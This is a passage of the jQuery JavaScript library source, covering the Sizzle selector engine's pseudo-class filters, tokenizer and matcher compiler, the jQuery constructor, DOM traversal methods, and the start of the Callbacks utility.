if ( forward && useCache ) {
// Seek `elem` from a previously-cached index
outerCache = parent[ expando ] || (parent[ expando ] = {});
cache = outerCache[ type ] || [];
nodeIndex = cache[0] === dirruns && cache[1];
diff = cache[0] === dirruns && cache[2];
node = nodeIndex && parent.childNodes[ nodeIndex ];
while ( (node = ++nodeIndex && node && node[ dir ] ||
// Fallback to seeking `elem` from the start
(diff = nodeIndex = 0) || start.pop()) ) {
// When found, cache indexes on `parent` and break
if ( node.nodeType === 1 && ++diff && node === elem ) {
outerCache[ type ] = [ dirruns, nodeIndex, diff ];
break;
}
}
// Use previously-cached element index if available
} else if ( useCache && (cache = (elem[ expando ] || (elem[ expando ] = {}))[ type ]) && cache[0] === dirruns ) {
diff = cache[1];
// xml :nth-child(...) or :nth-last-child(...) or :nth(-last)?-of-type(...)
} else {
// Use the same loop as above to seek `elem` from the start
while ( (node = ++nodeIndex && node && node[ dir ] ||
(diff = nodeIndex = 0) || start.pop()) ) {
if ( ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) && ++diff ) {
// Cache the index of each encountered element
if ( useCache ) {
(node[ expando ] || (node[ expando ] = {}))[ type ] = [ dirruns, diff ];
}
if ( node === elem ) {
break;
}
}
}
}
// Incorporate the offset, then check against cycle size
diff -= last;
return diff === first || ( diff % first === 0 && diff / first >= 0 );
}
};
},
"PSEUDO": function( pseudo, argument ) {
// pseudo-class names are case-insensitive
// http://www.w3.org/TR/selectors/#pseudo-classes
// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
// Remember that setFilters inherits from pseudos
var args,
fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
Sizzle.error( "unsupported pseudo: " + pseudo );
// The user may use createPseudo to indicate that
// arguments are needed to create the filter function
// just as Sizzle does
if ( fn[ expando ] ) {
return fn( argument );
}
// But maintain support for old signatures
if ( fn.length > 1 ) {
args = [ pseudo, pseudo, "", argument ];
return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
markFunction(function( seed, matches ) {
var idx,
matched = fn( seed, argument ),
i = matched.length;
while ( i-- ) {
idx = indexOf.call( seed, matched[i] );
seed[ idx ] = !( matches[ idx ] = matched[i] );
}
}) :
function( elem ) {
return fn( elem, 0, args );
};
}
return fn;
}
},
pseudos: {
// Potentially complex pseudos
"not": markFunction(function( selector ) {
// Trim the selector passed to compile
// to avoid treating leading and trailing
// spaces as combinators
var input = [],
results = [],
matcher = compile( selector.replace( rtrim, "$1" ) );
return matcher[ expando ] ?
markFunction(function( seed, matches, context, xml ) {
var elem,
unmatched = matcher( seed, null, xml, [] ),
i = seed.length;
// Match elements unmatched by `matcher`
while ( i-- ) {
if ( (elem = unmatched[i]) ) {
seed[i] = !(matches[i] = elem);
}
}
}) :
function( elem, context, xml ) {
input[0] = elem;
matcher( input, null, xml, results );
return !results.pop();
};
}),
"has": markFunction(function( selector ) {
return function( elem ) {
return Sizzle( selector, elem ).length > 0;
};
}),
"contains": markFunction(function( text ) {
return function( elem ) {
return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
};
}),
// "Whether an element is represented by a :lang() selector
// is based solely on the element's language value
// being equal to the identifier C,
// or beginning with the identifier C immediately followed by "-".
// The matching of C against the element's language value is performed case-insensitively.
// The identifier C does not have to be a valid language name."
// http://www.w3.org/TR/selectors/#lang-pseudo
"lang": markFunction( function( lang ) {
// lang value must be a valid identifier
if ( !ridentifier.test(lang || "") ) {
Sizzle.error( "unsupported lang: " + lang );
}
lang = lang.replace( runescape, funescape ).toLowerCase();
return function( elem ) {
var elemLang;
do {
if ( (elemLang = documentIsHTML ?
elem.lang :
elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
elemLang = elemLang.toLowerCase();
return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
}
} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
return false;
};
}),
// Miscellaneous
"target": function( elem ) {
var hash = window.location && window.location.hash;
return hash && hash.slice( 1 ) === elem.id;
},
"root": function( elem ) {
return elem === docElem;
},
"focus": function( elem ) {
return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
},
// Boolean properties
"enabled": function( elem ) {
return elem.disabled === false;
},
"disabled": function( elem ) {
return elem.disabled === true;
},
"checked": function( elem ) {
// In CSS3, :checked should return both checked and selected elements
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
var nodeName = elem.nodeName.toLowerCase();
return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
},
"selected": function( elem ) {
// Accessing this property makes selected-by-default
// options in Safari work properly
if ( elem.parentNode ) {
elem.parentNode.selectedIndex;
}
return elem.selected === true;
},
// Contents
"empty": function( elem ) {
// http://www.w3.org/TR/selectors/#empty-pseudo
// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
// but not by others (comment: 8; processing instruction: 7; etc.)
// nodeType < 6 works because attributes (2) do not appear as children
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
if ( elem.nodeType < 6 ) {
return false;
}
}
return true;
},
"parent": function( elem ) {
return !Expr.pseudos["empty"]( elem );
},
// Element/input types
"header": function( elem ) {
return rheader.test( elem.nodeName );
},
"input": function( elem ) {
return rinputs.test( elem.nodeName );
},
"button": function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === "button" || name === "button";
},
"text": function( elem ) {
var attr;
return elem.nodeName.toLowerCase() === "input" &&
elem.type === "text" &&
// Support: IE<8
// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
},
// Position-in-collection
"first": createPositionalPseudo(function() {
return [ 0 ];
}),
"last": createPositionalPseudo(function( matchIndexes, length ) {
return [ length - 1 ];
}),
"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
return [ argument < 0 ? argument + length : argument ];
}),
"even": createPositionalPseudo(function( matchIndexes, length ) {
var i = 0;
for ( ; i < length; i += 2 ) {
matchIndexes.push( i );
}
return matchIndexes;
}),
"odd": createPositionalPseudo(function( matchIndexes, length ) {
var i = 1;
for ( ; i < length; i += 2 ) {
matchIndexes.push( i );
}
return matchIndexes;
}),
"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
var i = argument < 0 ? argument + length : argument;
for ( ; --i >= 0; ) {
matchIndexes.push( i );
}
return matchIndexes;
}),
"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
var i = argument < 0 ? argument + length : argument;
for ( ; ++i < length; ) {
matchIndexes.push( i );
}
return matchIndexes;
})
}
};
Expr.pseudos["nth"] = Expr.pseudos["eq"];
// Add button/input type pseudos
for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
Expr.pseudos[ i ] = createInputPseudo( i );
}
for ( i in { submit: true, reset: true } ) {
Expr.pseudos[ i ] = createButtonPseudo( i );
}
// Easy API for creating new setFilters
function setFilters() {}
setFilters.prototype = Expr.filters = Expr.pseudos;
Expr.setFilters = new setFilters();
function tokenize( selector, parseOnly ) {
var matched, match, tokens, type,
soFar, groups, preFilters,
cached = tokenCache[ selector + " " ];
if ( cached ) {
return parseOnly ? 0 : cached.slice( 0 );
}
soFar = selector;
groups = [];
preFilters = Expr.preFilter;
while ( soFar ) {
// Comma and first run
if ( !matched || (match = rcomma.exec( soFar )) ) {
if ( match ) {
// Don't consume trailing commas as valid
soFar = soFar.slice( match[0].length ) || soFar;
}
groups.push( (tokens = []) );
}
matched = false;
// Combinators
if ( (match = rcombinators.exec( soFar )) ) {
matched = match.shift();
tokens.push({
value: matched,
// Cast descendant combinators to space
type: match[0].replace( rtrim, " " )
});
soFar = soFar.slice( matched.length );
}
// Filters
for ( type in Expr.filter ) {
if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
(match = preFilters[ type ]( match ))) ) {
matched = match.shift();
tokens.push({
value: matched,
type: type,
matches: match
});
soFar = soFar.slice( matched.length );
}
}
if ( !matched ) {
break;
}
}
// Return the length of the invalid excess
// if we're just parsing
// Otherwise, throw an error or return tokens
return parseOnly ?
soFar.length :
soFar ?
Sizzle.error( selector ) :
// Cache the tokens
tokenCache( selector, groups ).slice( 0 );
}
function toSelector( tokens ) {
var i = 0,
len = tokens.length,
selector = "";
for ( ; i < len; i++ ) {
selector += tokens[i].value;
}
return selector;
}
function addCombinator( matcher, combinator, base ) {
var dir = combinator.dir,
checkNonElements = base && dir === "parentNode",
doneName = done++;
return combinator.first ?
// Check against closest ancestor/preceding element
function( elem, context, xml ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
return matcher( elem, context, xml );
}
}
} :
// Check against all ancestor/preceding elements
function( elem, context, xml ) {
var oldCache, outerCache,
newCache = [ dirruns, doneName ];
// We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
if ( xml ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
if ( matcher( elem, context, xml ) ) {
return true;
}
}
}
} else {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 || checkNonElements ) {
outerCache = elem[ expando ] || (elem[ expando ] = {});
if ( (oldCache = outerCache[ dir ]) &&
oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
// Assign to newCache so results back-propagate to previous elements
return (newCache[ 2 ] = oldCache[ 2 ]);
} else {
// Reuse newcache so results back-propagate to previous elements
outerCache[ dir ] = newCache;
// A match means we're done; a fail means we have to keep checking
if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
return true;
}
}
}
}
}
};
}
function elementMatcher( matchers ) {
return matchers.length > 1 ?
function( elem, context, xml ) {
var i = matchers.length;
while ( i-- ) {
if ( !matchers[i]( elem, context, xml ) ) {
return false;
}
}
return true;
} :
matchers[0];
}
function condense( unmatched, map, filter, context, xml ) {
var elem,
newUnmatched = [],
i = 0,
len = unmatched.length,
mapped = map != null;
for ( ; i < len; i++ ) {
if ( (elem = unmatched[i]) ) {
if ( !filter || filter( elem, context, xml ) ) {
newUnmatched.push( elem );
if ( mapped ) {
map.push( i );
}
}
}
}
return newUnmatched;
}
function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
if ( postFilter && !postFilter[ expando ] ) {
postFilter = setMatcher( postFilter );
}
if ( postFinder && !postFinder[ expando ] ) {
postFinder = setMatcher( postFinder, postSelector );
}
return markFunction(function( seed, results, context, xml ) {
var temp, i, elem,
preMap = [],
postMap = [],
preexisting = results.length,
// Get initial elements from seed or context
elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
// Prefilter to get matcher input, preserving a map for seed-results synchronization
matcherIn = preFilter && ( seed || !selector ) ?
condense( elems, preMap, preFilter, context, xml ) :
elems,
matcherOut = matcher ?
// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
// ...intermediate processing is necessary
[] :
// ...otherwise use results directly
results :
matcherIn;
// Find primary matches
if ( matcher ) {
matcher( matcherIn, matcherOut, context, xml );
}
// Apply postFilter
if ( postFilter ) {
temp = condense( matcherOut, postMap );
postFilter( temp, [], context, xml );
// Un-match failing elements by moving them back to matcherIn
i = temp.length;
while ( i-- ) {
if ( (elem = temp[i]) ) {
matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
}
}
}
if ( seed ) {
if ( postFinder || preFilter ) {
if ( postFinder ) {
// Get the final matcherOut by condensing this intermediate into postFinder contexts
temp = [];
i = matcherOut.length;
while ( i-- ) {
if ( (elem = matcherOut[i]) ) {
// Restore matcherIn since elem is not yet a final match
temp.push( (matcherIn[i] = elem) );
}
}
postFinder( null, (matcherOut = []), temp, xml );
}
// Move matched elements from seed to results to keep them synchronized
i = matcherOut.length;
while ( i-- ) {
if ( (elem = matcherOut[i]) &&
(temp = postFinder ? indexOf.call( seed, elem ) : preMap[i]) > -1 ) {
seed[temp] = !(results[temp] = elem);
}
}
}
// Add elements to results, through postFinder if defined
} else {
matcherOut = condense(
matcherOut === results ?
matcherOut.splice( preexisting, matcherOut.length ) :
matcherOut
);
if ( postFinder ) {
postFinder( null, results, matcherOut, xml );
} else {
push.apply( results, matcherOut );
}
}
});
}
function matcherFromTokens( tokens ) {
var checkContext, matcher, j,
len = tokens.length,
leadingRelative = Expr.relative[ tokens[0].type ],
implicitRelative = leadingRelative || Expr.relative[" "],
i = leadingRelative ? 1 : 0,
// The foundational matcher ensures that elements are reachable from top-level context(s)
matchContext = addCombinator( function( elem ) {
return elem === checkContext;
}, implicitRelative, true ),
matchAnyContext = addCombinator( function( elem ) {
return indexOf.call( checkContext, elem ) > -1;
}, implicitRelative, true ),
matchers = [ function( elem, context, xml ) {
return ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
(checkContext = context).nodeType ?
matchContext( elem, context, xml ) :
matchAnyContext( elem, context, xml ) );
} ];
for ( ; i < len; i++ ) {
if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
} else {
matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
// Return special upon seeing a positional matcher
if ( matcher[ expando ] ) {
// Find the next relative operator (if any) for proper handling
j = ++i;
for ( ; j < len; j++ ) {
if ( Expr.relative[ tokens[j].type ] ) {
break;
}
}
return setMatcher(
i > 1 && elementMatcher( matchers ),
i > 1 && toSelector(
// If the preceding token was a descendant combinator, insert an implicit any-element `*`
tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
).replace( rtrim, "$1" ),
matcher,
i < j && matcherFromTokens( tokens.slice( i, j ) ),
j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
j < len && toSelector( tokens )
);
}
matchers.push( matcher );
}
}
return elementMatcher( matchers );
}
function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
var bySet = setMatchers.length > 0,
byElement = elementMatchers.length > 0,
superMatcher = function( seed, context, xml, results, outermost ) {
var elem, j, matcher,
matchedCount = 0,
i = "0",
unmatched = seed && [],
setMatched = [],
contextBackup = outermostContext,
// We must always have either seed elements or outermost context
elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
// Use integer dirruns iff this is the outermost matcher
dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
len = elems.length;
if ( outermost ) {
outermostContext = context !== document && context;
}
// Add elements passing elementMatchers directly to results
// Keep `i` a string if there are no elements so `matchedCount` will be "00" below
// Support: IE<9, Safari
// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
if ( byElement && elem ) {
j = 0;
while ( (matcher = elementMatchers[j++]) ) {
if ( matcher( elem, context, xml ) ) {
results.push( elem );
break;
}
}
if ( outermost ) {
dirruns = dirrunsUnique;
}
}
// Track unmatched elements for set filters
if ( bySet ) {
// They will have gone through all possible matchers
if ( (elem = !matcher && elem) ) {
matchedCount--;
}
// Lengthen the array for every element, matched or not
if ( seed ) {
unmatched.push( elem );
}
}
}
// Apply set filters to unmatched elements
matchedCount += i;
if ( bySet && i !== matchedCount ) {
j = 0;
while ( (matcher = setMatchers[j++]) ) {
matcher( unmatched, setMatched, context, xml );
}
if ( seed ) {
// Reintegrate element matches to eliminate the need for sorting
if ( matchedCount > 0 ) {
while ( i-- ) {
if ( !(unmatched[i] || setMatched[i]) ) {
setMatched[i] = pop.call( results );
}
}
}
// Discard index placeholder values to get only actual matches
setMatched = condense( setMatched );
}
// Add matches to results
push.apply( results, setMatched );
// Seedless set matches succeeding multiple successful matchers stipulate sorting
if ( outermost && !seed && setMatched.length > 0 &&
( matchedCount + setMatchers.length ) > 1 ) {
Sizzle.uniqueSort( results );
}
}
// Override manipulation of globals by nested matchers
if ( outermost ) {
dirruns = dirrunsUnique;
outermostContext = contextBackup;
}
return unmatched;
};
return bySet ?
markFunction( superMatcher ) :
superMatcher;
}
compile = Sizzle.compile = function( selector, group /* Internal Use Only */ ) {
var i,
setMatchers = [],
elementMatchers = [],
cached = compilerCache[ selector + " " ];
if ( !cached ) {
// Generate a function of recursive functions that can be used to check each element
if ( !group ) {
group = tokenize( selector );
}
i = group.length;
while ( i-- ) {
cached = matcherFromTokens( group[i] );
if ( cached[ expando ] ) {
setMatchers.push( cached );
} else {
elementMatchers.push( cached );
}
}
// Cache the compiled function
cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
}
return cached;
};
function multipleContexts( selector, contexts, results ) {
var i = 0,
len = contexts.length;
for ( ; i < len; i++ ) {
Sizzle( selector, contexts[i], results );
}
return results;
}
function select( selector, context, results, seed ) {
var i, tokens, token, type, find,
match = tokenize( selector );
if ( !seed ) {
// Try to minimize operations if there is only one group
if ( match.length === 1 ) {
// Take a shortcut and set the context if the root selector is an ID
tokens = match[0] = match[0].slice( 0 );
if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
support.getById && context.nodeType === 9 && documentIsHTML &&
Expr.relative[ tokens[1].type ] ) {
context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
if ( !context ) {
return results;
}
selector = selector.slice( tokens.shift().value.length );
}
// Fetch a seed set for right-to-left matching
i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
while ( i-- ) {
token = tokens[i];
// Abort if we hit a combinator
if ( Expr.relative[ (type = token.type) ] ) {
break;
}
if ( (find = Expr.find[ type ]) ) {
// Search, expanding context for leading sibling combinators
if ( (seed = find(
token.matches[0].replace( runescape, funescape ),
rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
)) ) {
// If seed is empty or no tokens remain, we can return early
tokens.splice( i, 1 );
selector = seed.length && toSelector( tokens );
if ( !selector ) {
push.apply( results, seed );
return results;
}
break;
}
}
}
}
}
// Compile and execute a filtering function
// Provide `match` to avoid retokenization if we modified the selector above
compile( selector, match )(
seed,
context,
!documentIsHTML,
results,
rsibling.test( selector ) && testContext( context.parentNode ) || context
);
return results;
}
// One-time assignments
// Sort stability
support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
// Support: Chrome<14
// Always assume duplicates if they aren't passed to the comparison function
support.detectDuplicates = !!hasDuplicate;
// Initialize against the default document
setDocument();
// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
// Detached nodes confoundingly follow *each other*
support.sortDetached = assert(function( div1 ) {
// Should return 1, but returns 4 (following)
return div1.compareDocumentPosition( document.createElement("div") ) & 1;
});
// Support: IE<8
// Prevent attribute/property "interpolation"
// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
if ( !assert(function( div ) {
div.innerHTML = "<a href='#'></a>";
return div.firstChild.getAttribute("href") === "#" ;
}) ) {
addHandle( "type|href|height|width", function( elem, name, isXML ) {
if ( !isXML ) {
return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
}
});
}
// Support: IE<9
// Use defaultValue in place of getAttribute("value")
if ( !support.attributes || !assert(function( div ) {
div.innerHTML = "<input/>";
div.firstChild.setAttribute( "value", "" );
return div.firstChild.getAttribute( "value" ) === "";
}) ) {
addHandle( "value", function( elem, name, isXML ) {
if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
return elem.defaultValue;
}
});
}
// Support: IE<9
// Use getAttributeNode to fetch booleans when getAttribute lies
if ( !assert(function( div ) {
return div.getAttribute("disabled") == null;
}) ) {
addHandle( booleans, function( elem, name, isXML ) {
var val;
if ( !isXML ) {
return elem[ name ] === true ? name.toLowerCase() :
(val = elem.getAttributeNode( name )) && val.specified ?
val.value :
null;
}
});
}
return Sizzle;
})( window );
jQuery.find = Sizzle;
jQuery.expr = Sizzle.selectors;
jQuery.expr[":"] = jQuery.expr.pseudos;
jQuery.unique = Sizzle.uniqueSort;
jQuery.text = Sizzle.getText;
jQuery.isXMLDoc = Sizzle.isXML;
jQuery.contains = Sizzle.contains;
var rneedsContext = jQuery.expr.match.needsContext;
var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
var risSimple = /^.[^:#\[\.,]*$/;
// Implement the identical functionality for filter and not
function winnow( elements, qualifier, not ) {
if ( jQuery.isFunction( qualifier ) ) {
return jQuery.grep( elements, function( elem, i ) {
/* jshint -W018 */
return !!qualifier.call( elem, i, elem ) !== not;
});
}
if ( qualifier.nodeType ) {
return jQuery.grep( elements, function( elem ) {
return ( elem === qualifier ) !== not;
});
}
if ( typeof qualifier === "string" ) {
if ( risSimple.test( qualifier ) ) {
return jQuery.filter( qualifier, elements, not );
}
qualifier = jQuery.filter( qualifier, elements );
}
return jQuery.grep( elements, function( elem ) {
return ( indexOf.call( qualifier, elem ) >= 0 ) !== not;
});
}
jQuery.filter = function( expr, elems, not ) {
var elem = elems[ 0 ];
if ( not ) {
expr = ":not(" + expr + ")";
}
return elems.length === 1 && elem.nodeType === 1 ?
jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :
jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
return elem.nodeType === 1;
}));
};
jQuery.fn.extend({
find: function( selector ) {
var i,
len = this.length,
ret = [],
self = this;
if ( typeof selector !== "string" ) {
return this.pushStack( jQuery( selector ).filter(function() {
for ( i = 0; i < len; i++ ) {
if ( jQuery.contains( self[ i ], this ) ) {
return true;
}
}
}) );
}
for ( i = 0; i < len; i++ ) {
jQuery.find( selector, self[ i ], ret );
}
// Needed because $( selector, context ) becomes $( context ).find( selector )
ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );
ret.selector = this.selector ? this.selector + " " + selector : selector;
return ret;
},
filter: function( selector ) {
return this.pushStack( winnow(this, selector || [], false) );
},
not: function( selector ) {
return this.pushStack( winnow(this, selector || [], true) );
},
is: function( selector ) {
return !!winnow(
this,
// If this is a positional/relative selector, check membership in the returned set
// so $("p:first").is("p:last") won't return true for a doc with two "p".
typeof selector === "string" && rneedsContext.test( selector ) ?
jQuery( selector ) :
selector || [],
false
).length;
}
});
// Initialize a jQuery object
// A central reference to the root jQuery(document)
var rootjQuery,
// A simple way to check for HTML strings
// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
// Strict HTML recognition (#11290: must start with <)
rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
init = jQuery.fn.init = function( selector, context ) {
var match, elem;
// HANDLE: $(""), $(null), $(undefined), $(false)
if ( !selector ) {
return this;
}
// Handle HTML strings
if ( typeof selector === "string" ) {
if ( selector[0] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) {
// Assume that strings that start and end with <> are HTML and skip the regex check
match = [ null, selector, null ];
} else {
match = rquickExpr.exec( selector );
}
// Match html or make sure no context is specified for #id
if ( match && (match[1] || !context) ) {
// HANDLE: $(html) -> $(array)
if ( match[1] ) {
context = context instanceof jQuery ? context[0] : context;
// scripts is true for back-compat
// Intentionally let the error be thrown if parseHTML is not present
jQuery.merge( this, jQuery.parseHTML(
match[1],
context && context.nodeType ? context.ownerDocument || context : document,
true
) );
// HANDLE: $(html, props)
if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) {
for ( match in context ) {
// Properties of context are called as methods if possible
if ( jQuery.isFunction( this[ match ] ) ) {
this[ match ]( context[ match ] );
// ...and otherwise set as attributes
} else {
this.attr( match, context[ match ] );
}
}
}
return this;
// HANDLE: $(#id)
} else {
elem = document.getElementById( match[2] );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
if ( elem && elem.parentNode ) {
// Inject the element directly into the jQuery object
this.length = 1;
this[0] = elem;
}
this.context = document;
this.selector = selector;
return this;
}
// HANDLE: $(expr, $(...))
} else if ( !context || context.jquery ) {
return ( context || rootjQuery ).find( selector );
// HANDLE: $(expr, context)
// (which is just equivalent to: $(context).find(expr)
} else {
return this.constructor( context ).find( selector );
}
// HANDLE: $(DOMElement)
} else if ( selector.nodeType ) {
this.context = this[0] = selector;
this.length = 1;
return this;
// HANDLE: $(function)
// Shortcut for document ready
} else if ( jQuery.isFunction( selector ) ) {
return typeof rootjQuery.ready !== "undefined" ?
rootjQuery.ready( selector ) :
// Execute immediately if ready is not present
selector( jQuery );
}
if ( selector.selector !== undefined ) {
this.selector = selector.selector;
this.context = selector.context;
}
return jQuery.makeArray( selector, this );
};
// Give the init function the jQuery prototype for later instantiation
init.prototype = jQuery.fn;
// Initialize central reference
rootjQuery = jQuery( document );
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
// methods guaranteed to produce a unique set when starting from a unique set
guaranteedUnique = {
children: true,
contents: true,
next: true,
prev: true
};
jQuery.extend({
dir: function( elem, dir, until ) {
var matched = [],
truncate = until !== undefined;
while ( (elem = elem[ dir ]) && elem.nodeType !== 9 ) {
if ( elem.nodeType === 1 ) {
if ( truncate && jQuery( elem ).is( until ) ) {
break;
}
matched.push( elem );
}
}
return matched;
},
sibling: function( n, elem ) {
var matched = [];
for ( ; n; n = n.nextSibling ) {
if ( n.nodeType === 1 && n !== elem ) {
matched.push( n );
}
}
return matched;
}
});
jQuery.fn.extend({
has: function( target ) {
var targets = jQuery( target, this ),
l = targets.length;
return this.filter(function() {
var i = 0;
for ( ; i < l; i++ ) {
if ( jQuery.contains( this, targets[i] ) ) {
return true;
}
}
});
},
closest: function( selectors, context ) {
var cur,
i = 0,
l = this.length,
matched = [],
pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
jQuery( selectors, context || this.context ) :
0;
for ( ; i < l; i++ ) {
for ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) {
// Always skip document fragments
if ( cur.nodeType < 11 && (pos ?
pos.index(cur) > -1 :
// Don't pass non-elements to Sizzle
cur.nodeType === 1 &&
jQuery.find.matchesSelector(cur, selectors)) ) {
matched.push( cur );
break;
}
}
}
return this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched );
},
// Determine the position of an element within
// the matched set of elements
index: function( elem ) {
// No argument, return index in parent
if ( !elem ) {
return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
}
// index in selector
if ( typeof elem === "string" ) {
return indexOf.call( jQuery( elem ), this[ 0 ] );
}
// Locate the position of the desired element
return indexOf.call( this,
// If it receives a jQuery object, the first element is used
elem.jquery ? elem[ 0 ] : elem
);
},
add: function( selector, context ) {
return this.pushStack(
jQuery.unique(
jQuery.merge( this.get(), jQuery( selector, context ) )
)
);
},
addBack: function( selector ) {
return this.add( selector == null ?
this.prevObject : this.prevObject.filter(selector)
);
}
});
function sibling( cur, dir ) {
while ( (cur = cur[dir]) && cur.nodeType !== 1 ) {}
return cur;
}
jQuery.each({
parent: function( elem ) {
var parent = elem.parentNode;
return parent && parent.nodeType !== 11 ? parent : null;
},
parents: function( elem ) {
return jQuery.dir( elem, "parentNode" );
},
parentsUntil: function( elem, i, until ) {
return jQuery.dir( elem, "parentNode", until );
},
next: function( elem ) {
return sibling( elem, "nextSibling" );
},
prev: function( elem ) {
return sibling( elem, "previousSibling" );
},
nextAll: function( elem ) {
return jQuery.dir( elem, "nextSibling" );
},
prevAll: function( elem ) {
return jQuery.dir( elem, "previousSibling" );
},
nextUntil: function( elem, i, until ) {
return jQuery.dir( elem, "nextSibling", until );
},
prevUntil: function( elem, i, until ) {
return jQuery.dir( elem, "previousSibling", until );
},
siblings: function( elem ) {
return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );
},
children: function( elem ) {
return jQuery.sibling( elem.firstChild );
},
contents: function( elem ) {
return elem.contentDocument || jQuery.merge( [], elem.childNodes );
}
}, function( name, fn ) {
jQuery.fn[ name ] = function( until, selector ) {
var matched = jQuery.map( this, fn, until );
if ( name.slice( -5 ) !== "Until" ) {
selector = until;
}
if ( selector && typeof selector === "string" ) {
matched = jQuery.filter( selector, matched );
}
if ( this.length > 1 ) {
// Remove duplicates
if ( !guaranteedUnique[ name ] ) {
jQuery.unique( matched );
}
// Reverse order for parents* and prev-derivatives
if ( rparentsprev.test( name ) ) {
matched.reverse();
}
}
return this.pushStack( matched );
};
});
var rnotwhite = (/\S+/g);
// String to Object options format cache
var optionsCache = {};
// Convert String-formatted options into Object-formatted ones and store in cache
function createOptions( options ) {
var object = optionsCache[ options ] = {};
jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {
object[ flag ] = true;
});
return object;
}
/*
* Create a callback list using the following parameters:
*
* options: an optional list of space-separated options that will change how
* the callback list behaves or a more traditional option object
*
* By default a callback list will act like an event callback list and can be
* "fired" multiple times.
*
* Possible options:
*
* once: will ensure the callback list can only be fired once (like a Deferred)
*
* memory: will keep track of previous values and will call any callback added
* after the list has been fired right away with the latest "memorized"
* values (like a Deferred)
*
* unique: will ensure a callback can only be added once (no duplicate in the list)
*
* stopOnFalse: interrupt callings when a callback returns false
*
*/
jQuery.Callbacks = function( options ) {
// Convert options from String-formatted to Object-formatted if needed
// (we check in cache first)
options = typeof options === "string" ?
( optionsCache[ options ] || createOptions( options ) ) :
jQuery.extend( {}, options );
var // Last fire value (for non-forgettable lists)
memory,
// Flag to know if list was already fired
fired,
// Flag to know if list is currently firing
firing,
// First callback to fire (used internally by add and fireWith)
firingStart,
// End of the loop when firing
firingLength,
// Index of currently firing callback (modified by remove if needed)
firingIndex,
// Actual callback list
list = [],
// Stack of fire calls for repeatable lists
stack = !options.once && [],
// Fire callbacks
fire = function( data ) {
memory = options.memory && data;
fired = true;
firingIndex = firingStart || 0;
firingStart = 0;
firingLength = list.length;
firing = true;
for ( ; list && firingIndex < firingLength; firingIndex++ ) {
